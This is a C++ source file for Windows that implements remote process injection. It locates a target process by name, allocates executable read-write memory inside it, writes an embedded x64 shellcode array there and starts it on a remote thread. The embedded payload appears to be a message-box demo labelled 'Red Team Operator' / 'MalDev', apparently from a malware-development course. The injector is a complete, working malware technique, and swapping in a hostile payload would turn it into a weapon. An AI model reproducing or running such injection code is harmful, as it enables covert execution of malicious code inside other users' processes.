main.cpp

#include <windows.h>
#include <tlHelp32.h>
#include <stdio.h>

const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";

DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

unsigned char shellcode[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};

int main(int argc, char* argv[]) {

    if (argc < 2) {
        printf("%s usage: program.exe executable_name", e);
        return EXIT_FAILURE;
    }

    PROCESSENTRY32 pe32;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    Process32First(snapshot, &pe32);

    wchar_t wideArg[256]; // Ensure the buffer is large enough
    size_t convertedChars = 0;
    errno_t err = mbstowcs_s(&convertedChars, wideArg, 256, argv[1], _TRUNCATE);

    do {
        if (wcscmp(pe32.szExeFile, wideArg) == 0) {
            //PID = atoi(argv[1]);

            PID = pe32.th32ProcessID;
            printf("%s trying to open a handle to process (%ld)\n", i, pe32.th32ProcessID);
            /* open a handle to the process */
            hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
            printf("%s got a handle to the process!\n\\---0x%p\n", k, hProcess);

            if (hProcess == NULL) {
                printf("%s couldn't get a handle to the process (%ld), error: %ld", e, pe32.th32ProcessID, GetLastError());
                return EXIT_FAILURE;
            }

            /* allocate bytes to process memory */
            rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
            printf("%s allocated %zu-bytes with rwx permissions\n", k, sizeof(shellcode));

            /* actually write that allocated memory to the process memory */
            WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
            printf("%s wrote %zu-bytes to process memory\n", k, sizeof(shellcode));

            /* create thread to run our payload */
            hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);

            if (hThread == NULL) {
                printf("%s failed to get a handle to the thread, error: %ld", e, GetLastError());
                CloseHandle(hProcess);
                return EXIT_FAILURE;
            }

            printf("%s got a handle to the thread (%ld)\n\\---0x%p\n", k, TID, hThread);

            printf("%s waiting for the thread to finish\n", i);
            WaitForSingleObject(hThread, INFINITE);
            printf("%s thread finished executing", k);

            printf("%s cleaning up\n", i);
            CloseHandle(hThread);
            CloseHandle(hProcess);
            printf("%s finished! see you next time :>\n", k);

            break;
        }

    } while (Process32Next(snapshot, &pe32));

    return EXIT_SUCCESS;
}